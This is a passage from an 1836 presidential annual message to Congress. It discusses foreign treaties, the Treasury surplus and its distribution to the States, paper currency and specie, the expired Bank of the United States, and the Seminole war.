execute\nour treaty with Mexico for tracing the boundary line between the two\ncountries. What ever may be the prospect of Mexico's being soon able to\nexecute the treaty on its part, it is proper that we should be in\nanticipation prepared at all times to perform our obligations, without\nregard to the probable condition of those with whom we have contracted\nthem.The result of the confidential inquiries made into the condition and\nprospects of the newly declared Texan Government will be communicated\nto you in the course of the session.Commercial treaties promising great advantages to our enterprising\nmerchants and navigators have been formed with the distant Governments\nof Muscat and Siam. The ratifications have been exchanged, but have not\nreached the Department of State. Copes of the treaties will be\ntransmitted to you if received before, or published if arriving after,\nthe close of the present session of Congress.Nothing has occurred to interrupt the good understanding that has long\nexisted with the Barbary Powers, nor to check the good will which is\ngradually growing up from our intercourse with the dominions of the\nGovernment of growing of the distinguished chief of the Ottoman Empire.Information has been received at the Department of State that a treaty\nwith the Emperor of Morocco has just been negotiated, which, I hope,\nwill be received in time to be laid before the Senate previous to the\nclose of the session.You will perceive from the report of the Secretary of the Treasury that\nthe financial means of the country continue to keep pace with its\nimprovement in all other respects. The receipts into the Treasury\nduring the present year will amount to about $47,691,898; those from\ncustoms being estimated at $22,523,151, those from lands at about\n$24,000,000, and the residue from miscellaneous sources. The\nexpenditures for all objects during the year are estimated not to\nexceed $32,000,000, which will leave a balance in the Treasury for\npublic purposes on the first day of January next of about $41,723,959.\nThis sum, with the exception of $5,000,000, will be transferred to\nthe several States in accordance with the provisions of the act\nregulating the deposits of the public money.The unexpended balances of appropriation on the first day of January\nnext are estimated at $14,636,062, exceeding by $9,636,062 the amount\nwhich will be left in the deposit banks, subject to the draft of the\nTreasurer of the United States, after the contemplated transfers to the\nseveral States are made. If, therefore, the future receipts should not\nbe sufficient to meet these outstanding and future appropriations,\nthere may be soon a necessity to use a portion of the funds deposited\nwith the States.The consequences apprehended when the deposit act of the last session\nreceived a reluctant approval have been measurably realized. Though an\nact merely for the deposit of the surplus moneys of the United States\nin the State treasuries for safe-keeping until they may be wanted for\nthe service of the General Government, it has been extensively spoken\nof as an act to give the money to the several States, and they have\nbeen advised to use it as a gift, without regard to the means of\nrefunding it when called for. Such a suggestion has doubtless been made\nwithout a proper attention to the various principles and interests\nwhich are affected by it.It is manifest that the law itself can not sanction such a suggestion,\nand that as it now stands the States have no more authority to receive\nand use these deposits without intending to return them than any\ndeposit bank or any individual temporarily charged with the\nsafe-keeping or application of the public money would now have for\nconverting the same to their private use without the consent and\nagainst the will of the Government. But independently of the violation\nof public faith and moral obligation which are involved in this\nsuggestion when examined in reference to the terms of the present\ndeposit act, it is believed that the considerations which should govern\nthe future legislation of Congress on this subject will be equally\nconclusive against the adoption of any measure recognizing the\nprinciples on which the suggestion has been made.Considering the intimate connection of the subject with the financial\ninterests of the country and its great importance in whatever aspect it\ncan be viewed, I have bestowed upon it the most anxious reflection, and\nfeel it to be my duty to state to Congress such thoughts as have\noccurred to me, to aid their deliberation in treating it in the manner\nbest calculated to conduce to the common good.The experience of other nations admonished us to hasten the\nextinguishment of the public debt; but it will be in vain that we have\ncongratulated each other upon the disappearance of this evil if we do\nnot guard against the equally great one of promoting the unnecessary\naccumulation of public revenue. No political maxim is better\nestablished than that which tells us that an improvident expenditure of\nmoney is the parent of profligacy, and that no people can hope to\nperpetuate their liberties who long acquiesce in a policy which taxes\nthem for objects not necessary to the legitimate and real wants of\ntheir Government. Flattering as is the condition of our country at the\npresent period, because of its unexampled advance in all the steps of\nsocial and political improvement, it can not be disguised that there is\na lurking danger already apparent in the neglect of this warning truth,\nand that the time has arrived when the representatives of the people\nshould be employed in devising some more appropriate remedy than now\nexists to avert it.Under our present revenue system there is every probability that there\nwill continue to be a surplus beyond the wants of the Government, and\nit has become our duty to decide whether such a result be consistent\nwith the true objects of our Government.Should a surplus be permitted to accumulate beyond the appropriations,\nit must be retained in the Treasury, as it now is, or distributed among\nthe people or the States.To retain it in the Treasury unemployed in any way is impracticable; it\nis, besides, against the genius of our free institutions to lock up in\nvaults the treasure of the nation. To take from the people the right of\nbearing arms and put their weapons of defense in the hands of a\nstanding army would be scarcely more dangerous to their liberties than\nto permit the Government to accumulate immense amounts of treasure\nbeyond the supplies necessary to its legitimate wants. Such a treasure\nwould doubtless be employed at some time, as it has been in other\ncountries, when opportunity tempted ambition.To collect it merely for distribution to the States would seem to be\nhighly impolitic, if not as dangerous as the proposition to retain it\nin the Treasury.The shortest reflection must satisfy everyone that to require the\npeople to pay taxes to the Government merely that they may be paid back\nagain is sporting with the substantial interests of the country, and no\nsystem which produces such a result can be expected to receive the\npublic countenance. Nothing could be gained by it even if each\nindividual who contributed a portion of the tax could receive back\npromptly the same portion. But it is apparent that no system of the\nkind can ever be enforced which will not absorb a considerable portion\nof the money to be distributed in salaries and commissions to the\nagents employed in the process and in the various losses and\ndepreciations which arise from other causes, and the practical effect\nof such an attempt must ever be to burden the people with taxes, not\nfor purposes beneficial to them, but to swell the profits of deposit\nbanks and support a band of useless public officers.A distribution to the people is impracticable and unjust in other\nrespects. It would be taking one man's property and giving it to\nanother. Such would be the unavoidable result of a rule of equality\n(and none other is spoken of or would be likely to be adopted), in as\nmuch as there is no mode by which the amount of the individual\ncontributions of our citizens to the public revenue can be ascertained.\nWe know that they contribute unequally, and a rule, therefore, that\nwould distribute to them equally would be liable to all the objections\nwhich apply to the principle of an equal division of property. To make\nthe General Government the instrument of carrying this odious principle\ninto effect would be at once to destroy the means of its usefulness and\nchange the character designed for it by the framers of the\nConstitution.But the more extended and injurious consequences likely to result from\na policy which would collect a surplus revenue from the purpose of\ndistributing it may be forcibly illustrated by an examination of the\neffects already produced by the present deposit act. This act, although\ncertainly designed to secure the safe-keeping of the public revenue, is\nnot entirely free in its tendencies from any of the objections which\napply to this principle of distribution. The Government had without\nnecessity received from the people a large surplus, which, instead of\nbeing employed as heretofore and returned to them by means of the\npublic expenditure, was deposited with sundry banks. The banks\nproceeded to make loans upon this surplus, and thus converted it into\nbanking capital, and in this manner it has tended to multiply bank\ncharters and has had a great agency in producing a spirit of wild\nspeculation. The possession and use of the property out of which this\nsurplus was created belonged to the people, but the Government has\ntransferred its possession to incorporated banks, whose interest and\neffort it is to make large profits out of its use. This process need\nonly be stated to show its injustice and bad policy.And the same observations apply to the influence which is produced by\nthe steps necessary to collect as well as to distribute such a revenue.\nAbout 3/5 of all the duties on imports are paid in the city of New\nYork, but it is obvious that the means to pay those duties are drawn\nfrom every quarter of the Union. Every citizen in every State who\npurchases and consumes an article which has paid a duty at that port\ncontributes to the accumulating mass. The surplus collected there must\ntherefore be made up of moneys or property withdrawn from other points\nand other States. Thus the wealth and business of every region from\nwhich these surplus funds proceed must be to some extent injured, while\nthat of the place where the funds are concentrated and are employed in\nbanking are proportionably extended. But both in making the transfer of\nthe funds which are first necessary to pay the duties and collect the\nsurplus and in making the re-transfer which becomes necessary when the\ntime arrives for the distribution of that surplus there is a\nconsiderable period when the funds can not be brought into use, and it\nis manifest that, besides the loss inevitable from such an operation,\nits tendency is to produce fluctuations in the business of the country,\nwhich are always productive of speculation and detrimental to the\ninterests of regular trade. Argument can scarcely be necessary to show\nthat a measure of this character ought not to receive further\nlegislative encouragement.By examining the practical operation of the ration for distribution\nadopted in the deposit bill of the last session we shall discover other\nfeatures that appear equally objectionable. Let it be assumed, for the\nsake of argument, that the surplus moneys to be deposited with the\nStates have been collected and belong to them in the ration of their\nfederal representative population--an assumption founded upon the fact\nthat any deficiencies in our future revenue from imposts and public\nlands must be made up by direct taxes collected from the States in that\nration. It is proposed to distribute this surplus--say $30,000,000--not\naccording to the ration in which it has been collected and belongs to\nthe people of the States, but in that of their votes in the colleges of\nelectors of President and Vice President. The effect of a distribution\nupon that ration is shown by the annexed table, marked A.By an examination of that table it will be perceived that in the\ndistribution of a surplus of $30,000,000 upon that basis there is a\ngreat departure from the principle which regards representation as the\ntrue measure of taxation, and it will be found that the tendency of\nthat departure will be to increase whatever inequalities have been\nsupposed to attend the operation of our federal system in respect to\nits bearings upon the different interests of the Union. In making the\nbasis of representation the basis of taxation the framers of the\nConstitution intended to equalize the burdens which are necessary to\nsupport the Government, and the adoption of that ratio, while it\naccomplished this object, was also the means of adjusting other great\ntopics arising out of the conflicting views respecting the political\nequality of the various members of the Confederacy. What ever,\ntherefore, disturbs the liberal spirit of the compromises which\nestablished a rule of taxation so just and equitable, and which\nexperience has proved to be so well adapted to the genius and habits of\nour people, should be received with the greatest caution and distrust.A bare inspection in the annexed table of the differences produced by\nthe ration used in the deposit act compared with the results of a\ndistribution according to the ration of direct taxation must satisfy\nevery unprejudiced mind that the former ration contravenes the spirit\nof the Constitution and produces a degree of injustice in the\noperations of the Federal Government which would be fatal to the hope\nof perpetuating it. By the ration of direct taxation, for example, the\nState of Delaware in the collection of $30,000,000 of revenue would pay\ninto the Treasury $188,716, and in a distribution of $30,000,000 she\nwould receive back from the Government, according to the ration of the\ndeposit bill, the sum of $306,122; and similar results would follow the\ncomparison between the small and the large States throughout the Union,\nthus realizing to the small States an advantage which would be\ndoubtless as unacceptable to them as a motive for incorporating the\nprinciple in any system which would produce it as it would be\ninconsistent with the rights and expectations of the large States.It was certainly the intention of that provision of the Constitution\nwhich declares that \"all duties, imposts, and excises\" shall \"be\nuniform throughout the United States\" to make the burdens of taxation\nfall equally upon the people in what ever State of the Union they may\nreside. But what would be the value of such a uniform rule if the\nmoneys raised by it could be immediately returned by a different one\nwhich will give to the people of some States much more and to those of\nothers much less than their fair proportions? Were the Federal\nGovernment to exempt in express terms the imports, products, and\nmanufactures of some portions of the country from all duties while it\nimposed heavy ones on others, the injustice could not be greater. It\nwould be easy to show how by the operation of such a principle the\nlarge States of the Union would not only have to contribute their just\nshare toward the support of the Federal Government, but also have to\nbear in some degree the taxes necessary to support the governments of\ntheir smaller sisters; but it is deemed unnecessary to state the\ndetails where the general principle is so obvious.A system liable to such objections can never be supposed to have been\nsanctioned by the framers of the Constitution when they conferred on\nCongress the taxing power, and I feel persuaded that a mature\nexamination of the subject will satisfy everyone that there are\ninsurmountable difficulties in the operation of any plan which can be\ndevised of collecting revenue for the purpose of distributing it.\nCongress is only authorized to levy taxes \"to pay the debts and provide\nfor the common defense and general welfare of the United States\". There\nis no such provision as would authorize Congress to collect together\nthe property of the country, under the name of revenue, for the purpose\nof dividing it equally or unequally among the States or the people.\nIndeed, it is not probable that such an idea ever occurred to the\nStates when they adopted the Constitution. But however this may be, the\nonly safe rule for us in interpreting the powers granted to the Federal\nGovernment is to regard the absence of express authority to touch a\nsubject so important and delicate as this as equivalent to a\nprohibition.Even if our powers were less doubtful in this respect as the\nConstitution now stands, there are considerations afforded by recent\nexperience which would seem to make it our duty to avoid a resort to\nsuch a system. All will admit that the simplicity and economy of the\nState governments mainly depend on the fact that money has to be\nsupplied to support them by the same men, or their agents, who vote it\naway in appropriations. Hence when there are extravagant and wasteful\nappropriations there must be a corresponding increase of taxes, and the\npeople, becoming awakened, will necessarily scrutinize the character of\nmeasures which thus increase their burdens. By the watchful eye of\nself-interest the agents of the people in the State governments are\nrepressed and kept within the limits of a just economy.But if the necessity of levying the taxes be taken from those who make\nthe appropriations and thrown upon a more distant and less responsible\nset of public agents, who have power to approach the people by an\nindirect and stealthy taxation, there is reason to fear that\nprodigality will soon supersede those characteristics which have thus\nfar made us look with so much pride and confidence to the State\ngovernments as the main-stay of our Union and liberties. The State\nlegislatures, instead of studying to restrict their State expenditures\nto the smallest possible sum, will claim credit for their profusion,\nand harass the General Government for increased supplies.Practically there would soon be but one taxing power, and that vested\nin a body of men far removed from the people, in which the farming and\nmechanic interests would scarcely be represented. The States would\ngradually lose their purity as well as their independence; they would\nnot dare to murmur at the proceedings of the General Government, lest\nthey should lose their supplies; all would be merged in a practical\nconsolidation, cemented by wide-spread corruption, which could only be\neradicated by one of those bloody revolutions which occasionally\nover-throw the despotic systems of the Old World.In all the other aspects in which I have been able to look at the\neffect of such a principle of distribution upon the best interests of\nthe country I can see nothing to compensate for the disadvantages to\nwhich I have adverted. If we consider the protective duties, which are\nin a great degree the source of the surplus revenue, beneficial to one\nsection of the Union and prejudicial to another, there is no corrective\nfor the evil in such a plan of distribution. On the contrary, there is\nreason to fear that all the complaints which have sprung from this\ncause would be aggravated. Everyone must be sensible that a\ndistribution of the surplus must beget a disposition to cherish the\nmeans which create it, and any system, therefore, into which it enters\nmust have a powerful tendency to increase rather than diminish the\ntariff. If it were even admitted that the advantages of such a system\ncould be made equal to all the sections of the Union, the reasons\nalready so urgently calling for a reduction of the revenue would never\nthe less lose none of their force, for it will always be improbable\nthat an intelligent and virtuous community can consent to raise a\nsurplus for the mere purpose of dividing it, diminished as it must\ninevitably be by the expenses of the various machinery necessary to the\nprocess.The safest and simplest mode of obviating all the difficulties which\nhave been mentioned is to collect only revenue enough to meet the wants\nof the Government, and let the people keep the balance of their\nproperty in their own hands, to be used for their own profit. Each\nState will then support its own government and contribute its due share\ntoward the support of the General Government. There would be no surplus\nto cramp and lessen the resources of individual wealth and enterprise,\nand the banks would be left to their ordinary means. Whatever\nagitations and fluctuations might arise from our unfortunate paper\nsystem, they could never be attributed, justly or unjustly, to the\naction of the Federal Government. There would be some guaranty that the\nspirit of wild speculation which seeks to convert the surplus revenue\ninto banking capital would be effectually checked, and that the scenes\nof demoralization which are now so prevalent through the land would\ndisappear.Without desiring to conceal that the experience and observation of the\nlast two years have operated a partial change in my views upon this\ninteresting subject, it is never the less regretted that the\nsuggestions made by me in my annual messages of 1829 and 1830 have been\ngreatly misunderstood. At that time the great struggle was begun\nagainst that latitudinarian construction of the Constitution which\nauthorizes the unlimited appropriation of the revenues of the Union to\ninternal improvements within the States, tending to invest in the hands\nand place under the control of the General Government all the principal\nroads and canals of the country, in violation of State rights and in\nderogation of State authority.At the same time the condition of the manufacturing interest was such\nas to create an apprehension that the duties on imports could not\nwithout extensive mischief be reduced in season to prevent the\naccumulation of a considerable surplus after the payment of the\nnational debt. In view of the dangers of such a surplus, and in\npreference to its application to internal improvements in derogation of\nthe rights and powers of the States, the suggestion of an amendment of\nthe Constitution to authorize its distribution was made. It was an\nalternative for what were deemed greater evils--a temporary resort to\nrelieve an over-burdened treasury until the Government could, without a\nsudden and destructive revulsion in the business of the country,\ngradually return to the just principle of raising no more revenue from\nthe people in taxes than is necessary for its economical support.Even that alternative was not spoken of but in connection with an\namendment of the Constitution. No temporary inconvenience can justify\nthe exercise of a prohibited power not granted by that instrument, and\nit was from a conviction that the power to distribute even a temporary\nsurplus of revenue is of that character that it was suggested only in\nconnection with an appeal to the source of all legal power in the\nGeneral Government, the States which have established it. No such\nappeal has been taken, and in my opinion a distribution of the surplus\nrevenue by Congress either to the States or the people is to be\nconsidered as among the prohibitions of the Constitution.As already intimated, my views have undergone a change so far as to be\nconvinced that no alteration of the Constitution in this respect is\nwise or expedient. The influence of an accumulating surplus upon the\ncredit system of the country, producing dangerous extensions and\nruinous contractions, fluctuations in the price of property, rash\nspeculation, idleness, extravagance, and a deterioration of morals,\nhave taught us the important lesson that any transient mischief which\nmay attend the reduction of our revenue to the wants of our Government\nis to be borne in preference to an over-flowing treasury.I beg leave to call your attention to another subject intimately\nassociated with the preceding one--the currency of the country.It is apparent from the whole context of the Constitution, as well as\nthe history of the times which gave birth to it, that it was the\npurpose of the Convention to establish a currency consisting of the\nprecious metals. These, from their peculiar properties which rendered\nthem the standard of value in all other countries, were adopted in this\nas well to establish its commercial standard in reference to foreign\ncountries by a permanent rule as to exclude the use of a mutable medium\nof exchange, such as of certain agricultural commodities recognized by\nthe statutes of some States as a tender for debts, or the still more\npernicious expedient of a paper currency.The last, from the experience of the evils of the issues of paper\nduring the Revolution, had become so justly obnoxious as not only to\nsuggest the clause in the Constitution forbidding the emission of bills\nof credit by the States, but also to produce that vote in the\nConvention which negatived the proposition to grant power to Congress\nto charter corporations--a proposition well understood at the time as\nintended to authorize the establishment of a national bank, which was\nto issue a currency of bank notes on a capital to be created to some\nextent out of Government stocks. Although this proposition was refused\nby a direct vote of the Convention, the object was afterwards in effect\nobtained by its ingenious advocates through a strained construction of\nthe Constitution. The debts of the Revolution were funded at prices\nwhich formed no equivalent compared with the nominal amount of the\nstock, and under circumstances which exposed the motives of some of\nthose who participated in the passage of the act to distrust.The facts that the value of the stock was greatly enhanced by the\ncreation of the bank, that it was well understood that such would be\nthe case, and that some of the advocates of the measure were largely\nbenefited by it belong to the history of the times, and are well\ncalculated to diminish the respect which might otherwise have been due\nto the action of the Congress which created the institution.On the establishment of a national bank it became the interest of its\ncreditors that gold should be superseded by the paper of the bank as a\ngeneral currency. A value was soon attached to the gold coins which\nmade their exportation to foreign countries as a mercantile commodity\nmore profitable than their retention and use at home as money. It\nfollowed as a matter of course, if not designed by those who\nestablished the bank, that the bank became in effect a substitute for\nthe Mint of the United States.Such was the origin of a national bank currency, and such the beginning\nof those difficulties which now appear in the excessive issues of the\nbanks incorporated by the various States.Although it may not be possible by any legislative means within our\npower to change at once the system which has thus been introduced, and\nhas received the acquiescence of all portions of the country, it is\ncertainly our duty to do all that is consistent with our constitutional\nobligations in preventing the mischiefs which are threatened by its\nundue extension. That the efforts of the fathers of our Government to\nguard against it by a constitutional provision were founded on an\nintimate knowledge of the subject has been frequently attested by the\nbitter experience of the country. The same causes which led them to refuse\ntheir sanction to a power authorizing the establishment of incorporations\nfor banking purposes now exist in a much stronger degree to urge us to\nexert the utmost vigilance in calling into action the means necessary\nto correct the evils resulting from the unfortunate exercise of the\npower, and it is hoped that the opportunity for effecting this great\ngood will be improved before the country witnesses new scenes of\nembarrassment and distress.Variableness must ever be the characteristic of a currency of which the\nprecious metals are not the chief ingredient, or which can be expanded\nor contracted without regard to the principles that regulate the value\nof those metals as a standard in the general trade of the world. With\nus bank issues constitute such a currency, and must ever do so until\nthey are made dependent on those just proportions of gold and silver as\na circulating medium which experience has proved to be necessary not\nonly in this but in all other commercial countries. Where those\nproportions are not infused into the circulation and do not control it,\nit is manifest that prices must vary according to the tide of bank\nissues, and the value and stability of property must stand exposed to\nall the uncertainty which attends the administration of institutions\nthat are constantly liable to the temptation of an interest distinct\nfrom that of the community in which they are established.The progress of an expansion, or rather a depreciation, of the currency\nby excessive bank issues is always attended by a loss to the laboring\nclasses. This portion of the community have neither time nor\nopportunity to watch the ebbs and flows of the money market. Engaged\nfrom day to day in their useful toils, they do not perceive that\nalthough their wages are nominally the same, or even somewhat higher,\nthey are greatly reduced in fact by the rapid increase of a spurious\ncurrency, which, as it appears to make money abound, they are at first\ninclined to consider a blessing.It is not so with the speculator, by whom this operation is better\nunderstood, and is made to contribute to his advantage. It is not until\nthe prices of the necessaries of life become so dear that the laboring\nclasses can not supply their wants out of their wages that the wages\nrise and gradually reach a justly proportioned rate to that of the\nproducts of their labor. When thus, by depreciation in consequence of\nthe quantity of paper in circulation, wages as well as prices become\nexorbitant, it is soon found that the whole effect of the adulteration\nis a tariff on our home industry for the benefit of the countries where\ngold and silver circulate and maintain uniformity and moderation in\nprices. It is then perceived that the enhancement of the price of land\nand labor produces a corresponding increase in the price of products\nuntil these products do not sustain a competition with similar ones in\nother countries, and thus both manufactured and agricultural\nproductions cease to bear expectation from the country of the spurious\ncurrency, because they can not be sold for cost.This is the process by which specie is banished by the paper of the\nbanks. Their vaults are soon exhausted to pay for foreign commodities.\nThe next step is a stoppage of specie payment--a total degradation of\npaper as a currency--unusual depression of prices, the ruin of debtors,\nand the accumulation of property in the hands of creditors and cautious\ncapitalists.It was in view of these evils, together with the dangerous power\nwielded by the Bank of the United States and its repugnance to our\nConstitution, that I was induced to exert the power conferred upon me\nby the American people to prevent the continuance of that institution.\nBut although various dangers to our republican institutions have been\nobviated by the failure of that bank to extort from the Government a\nrenewal of its charter, it is obvious that little has been accomplished\nexcept a salutary change of public opinion toward restoring to the\ncountry the sound currency provided for in the Constitution.In the acts of several of the States prohibiting the circulation of\nsmall notes and the auxiliary enactments of Congress at the last\nsession forbidding their reception or payment on public account, the\ntrue policy of the country has been advanced and a larger portion of\nthe precious metals infused into our circulating medium. These measures\nwill probably be followed up in due time by the enactment of State laws\nbanishing from circulation bank notes of still higher denominations,\nand the object may be materially promoted by further acts of Congress\nforbidding the employment as fiscal agents of such banks as continue to\nissue notes of low denominations and throw impediments in the way of\nthe circulation of gold and silver.The effects of an extension of bank credits and over-issues of bank\npaper have been strikingly illustrated in the sales of the public\nlands. From the returns made by the various registers and receivers in\nthe early part of last summer it was perceived that the receipts\narising from the sales of the public lands were increasing to an\nunprecedented amount. In effect, however, these receipts amounted to\nnothing more than credits in bank. The banks lent out their notes to\nspeculators. They were paid to the receivers and immediately returned\nto the banks, to be lent out again and again, being mere instruments to\ntransfer to speculators the most valuable public land and pay the\nGovernment by a credit on the books of the banks.Those credits on the books of some of the Western banks, usually called\ndeposits, were already greatly beyond their immediate means of payment,\nand were rapidly increasing. Indeed, each speculation furnished means\nfor another; for no sooner had one individual or company paid in the\nnotes than they were immediately lent to another for a like purpose,\nand the banks were extending their business and their issues so largely\nas to alarm considerate men and render it doubtful whether these bank\ncredits, if permitted to accumulate, would ultimately be of the least\nvalue to the Government. The spirit of expansion and speculation was\nnot confined to the deposit banks, but pervaded the whole multitude of\nbanks throughout the Union and was giving rise to new institutions to\naggravate the evil.The safety of the public funds and the interest of the people generally\nrequired that these operations should be checked; and it became the\nduty of every branch of the General and State Governments to adopt all\nlegitimate and proper means to produce that salutary effect. Under this\nview of my duty I directed the issuing of the order which will be laid\nbefore you by the Secretary of the Treasury, requiring payment for the\npublic lands sold to be made in specie, with an exception until the\n15th of the present month in favor of actual settlers.This measure has produced many salutary consequences. It checked the\ncareer of the Western banks and gave them additional strength in\nanticipation of the pressure which has since pervaded our Eastern as\nwell as the European commercial cities. By preventing the extension of\nthe credit system it measurably cut off the means of speculation and\nretarded its progress in monopolizing the most valuable of the public\nlands. It has tended to save the new States from a non-resident\nproprietorship, one of the greatest obstacles to the advancement of a\nnew country and the prosperity of an old one. It has tended to keep\nopen the public lands for entry by emigrants at Government prices\ninstead of their being compelled to purchase of speculators at double\nor triple prices. And it is conveying into the interior large sums in\nsilver and gold, there to enter permanently into the currency of the\ncountry and place it on a firmer foundation. It is confidently believed\nthat the country will find in the motives which induced that order and\nthe happy consequences which will have ensued much to commend and\nnothing to condemn.It remains for Congress if they approve the policy which dictated this\norder to follow it up in its various bearings. Much good, in my\njudgment, would be produced by prohibiting sales of the public lands\nexcept to actual settlers at a reasonable reduction of price, and to\nlimit the quantity which shall be sold to them. Although it is believed\nthe General Government never ought to receive anything but the\nconstitutional currency in exchange for the public lands, that point\nwould be of less importance if the lands were sold for immediate\nsettlement and cultivation. Indeed, there is scarcely a mischief\narising out of our present land system, including the accumulating\nsurplus of revenues, which would not be remedied at once by a\nrestriction on land sales to actual settlers; and it promises other\nadvantages to the country in general and to the new States in\nparticular which can not fail to receive the most profound\nconsideration of Congress.Experience continues to realize the expectations entertained as to the\ncapacity of the State banks to perform the duties of fiscal agents for\nthe Government at the time of the removal of the deposits. It was\nalleged by the advocates of the Bank of the United States that the\nState banks, what ever might be the regulations of the Treasury\nDepartment, could not make the transfers required by the Government or\nnegotiate the domestic exchanges of the country. It is now well\nascertained that the real domestic exchanges performed through\ndiscounts by the United States Bank and its 25 branches were at least\none third less than those of the deposit banks for an equal period of\ntime; and if a comparison be instituted between the amounts of service\nrendered by these institutions on the broader basis which has been used\nby the advocates of the United States Bank in estimating what they\nconsider the domestic exchanges transacted by it, the result will be\nstill more favorable to the deposit banks.The whole amount of public money transferred by the Bank of the United\nStates in 1832 was $16,000,000. The amount transferred and actually\npaid by the deposit banks in the year ending the first of October last\nwas $39,319,899; the amount transferred and paid between that period\nand the 6th of November was $5,399,000, and the amount of transfer\nwarrants outstanding on that day was $14,450,000, making an aggregate\nof $59,168,894. These enormous sums of money first mentioned have been\ntransferred with the greatest promptitude and regularity, and the rates\nat which the exchanges have been negotiated previously to the passage\nof the deposit act were generally below those charged by the Bank of\nthe United States. Independently of these services, which are far\ngreater than those rendered by the United States Bank and its 25\nbranches, a number of the deposit banks have, with a commendable zeal\nto aid in the improvement of the currency, imported from abroad, at\ntheir own expense, large sums of the precious metals for coinage and\ncirculation.In the same manner have nearly all the predictions turned out in\nrespect to the effect of the removal of the deposits--a step\nunquestionably necessary to prevent the evils which it was foreseen the\nbank itself would endeavor to create in a final struggle to procure a\nrenewal of its charter. It may be thus, too, in some degree with the\nfurther steps which may be taken to prevent the excessive issue of\nother bank paper, but it is to be hoped that nothing will now deter the\nFederal and State authorities from the firm and vigorous performance of\ntheir duties to themselves and to the people in this respect.In reducing the revenue to the wants of the Government your particular\nattention is invited to those articles which constitute the necessaries\nof life. The duty on salt was laid as a war tax, and was no doubt\ncontinued to assist in providing for the payment of the war debt. There\nis no article the release of which from taxation would be felt so\ngenerally and so beneficially. To this may be added all kinds of fuel\nand provisions. Justice and benevolence unite in favor of releasing the\npoor of our cities from burdens which are not necessary to the support\nof our Government and tend only to increase the wants of the destitute.It will be seen by the report of the Secretary of the Treasury and the\naccompanying documents that the Bank of the United States has made no\npayment on account of the stock held by the Government in that\ninstitution, although urged to pay any portion which might suit its\nconvenience, and that it has given no information when payment may be\nexpected. Nor, although repeatedly requested, has it furnished the\ninformation in relation to its condition which Congress authorized the\nSecretary to collect at their last session. Such measures as are within\nthe power of the Executive have been taken to ascertain the value of\nthe stock and procure the payment as early as possible.The conduct and present condition of that bank and the great amount of\ncapital vested in it by the United States require your careful\nattention. Its charter expired on the third day of March last, and it\nhas now no power but that given in the twenty-first section, \"to use\nthe corporate name, style, and capacity for the purpose of suits for\nthe final settlement and liquidation of the affairs and accounts of the\ncorporation, and for the sale and disposition of their estate--real,\npersonal, and mixed--but not for any other purpose or in any other\nmanner what so ever, nor for a period exceeding two years after the\nexpiration of the said term of incorporation\".Before the expiration of the charter the stock-holders of the bank\nobtained an act of incorporation from the legislature of Pennsylvania,\nexcluding only the United States. Instead of proceeding to wind up\ntheir concerns and pay over to the United States the amount due on\naccount of the stock held by them, the president and directors of the\nold bank appear to have transferred the books, papers, notes,\nobligations, and most or all of its property to this new corporation,\nwhich entered upon business as a continuation of the old concern.Amongst other acts of questionable validity, the notes of the expired\ncorporation are known to have been used as its own and again put in\ncirculation. That the old bank had no right to issue or re-issue its\nnotes after the expiration of its charter can not be denied, and that\nit could not confer any such right on its substitute any more than\nexercise it itself is equally plain. In law and honesty the notes of\nthe bank in circulation at the expiration of its charter should have\nbeen called in by public advertisement, paid up as presented, and,\ntogether with those on hand, canceled and destroyed.Their re-issue is sanctioned by no law and warranted by no necessity.\nIf the United States be responsible in their stock for the payment of\nthese notes, their re-issue by the new corporation for their own profit\nis a fraud on the Government. If the United States is not responsible,\nthen there is no legal responsibility in any quarter, and it is a fraud\non the country. They are the redeemed notes of a dissolved partnership,\nbut, contrary to the wishes of the retiring partner and without his\nconsent, are again re-issued and circulated.It is the high and peculiar duty of Congress to decide whether any\nfurther legislation be necessary for the security of the large amount\nof public property now held and in use by the new bank, and for\nvindicating the rights of the Government and compelling a speedy and\nhonest settlement with all the creditors of the old bank, public and\nprivate, or whether the subject shall be left to the power now\npossessed by the Executive and judiciary. It remains to be seen whether\nthe persons who as managers of the old bank undertook to control the\nGovernment, retained the public dividends, shut their doors upon a\ncommittee of the House of Representatives, and filled the country with\npanic to accomplish their own sinister objects may now as managers of a\nnew bank continue with impunity to flood the country with a spurious\ncurrency, use the $7 millions of Government stock for their own profit,\nand refuse to the United States all information as to the present\ncondition of their own property and the prospect of recovering it into\ntheir own possession.The lessons taught by the Bank of the United States can not well be\nlost upon the American people. They will take care never again to place\nso tremendous a power in irresponsible hands, and it will be fortunate\nif they seriously consider the consequences which are likely to result\non a smaller scale from the facility with which corporate powers are\ngranted by their State governments.It is believed that the law of the last session regulating the deposit\nbanks operates onerously and unjustly upon them in many respects, and\nit is hoped that Congress, on proper representations, will adopt the\nmodifications which are necessary to prevent this consequence.The report of the Secretary of War ad interim and the accompanying\ndocuments, all which are herewith laid before you, will give you a full\nview of the diversified and important operations of that Department\nduring the past year.The military movements rendered necessary by the aggressions of the\nhostile portions of the Seminole and Creek tribes of Indians, and by\nother circumstances, have required the active employment of nearly our\nwhole regular force, including the Marine Corps, and of large bodies of\nmilitia and volunteers. With all these events so far as they were known\nat the seat of Government before the termination of your last session\nyou are already acquainted, and it is therefore only needful in this\nplace to lay before you a brief summary of what has since occurred.The war with the Seminoles during the summer was on our part chiefly\nconfined to the protection of our frontier settlements from the\nincursions of the enemy, and, as a necessary and important means for\nthe accomplishment of that end, to the maintenance of the posts\npreviously established. In the course of this duty several actions took\nplace, in which the bravery and discipline of both officers and men\nwere conspicuously displayed, and which I have deemed it proper to\nnotice in respect to the former by the granting of brevet rank for\ngallant services in the field. But as the force of the Indians was not\nso far weakened by these partial successes as to lead them to submit,\nand as their savage inroads were frequently repeated, early measures\nwere taken for placing at the disposal of Governor Call, who as\ncommander in chief of the Territorial militia had been temporarily\ninvested with the command, an ample force for the purpose of resuming\noffensive operations in the most efficient manner so soon as the season\nshould permit. Major General Jesup was also directed, on the conclusion\nof his duties in the Creek country, to repair to Florida and assume the\ncommand.The result of the first movement made by the forces under the direction\nof Governor Call in October last, as detailed in the accompanying\npapers, excited much surprise and disappointment. A full explanation\nhas been required of the causes which led to the failure of that\nmovement, but has not yet been received. In the mean time, as it was\nfeared that the health of Governor Call, who was understood to have\nsuffered much from sickness, might not be adequate to the crisis, and\nas Major General Jesup was known to have reached Florida, that officer\nwas directed to assume command, and to prosecute all needful operations\nwith the utmost promptitude and vigor. From the force at his disposal\nand the dispositions he has made and is instructed to make, and from\nthe very efficient measures which it is since ascertained have been\ntaken by Governor Call, there is reason to hope that they will soon be\nenabled to reduce the enemy to subjection. In the mean time, as you\nwill perceive from the report of the Secretary, there is urgent\nnecessity for further appropriations to suppress these 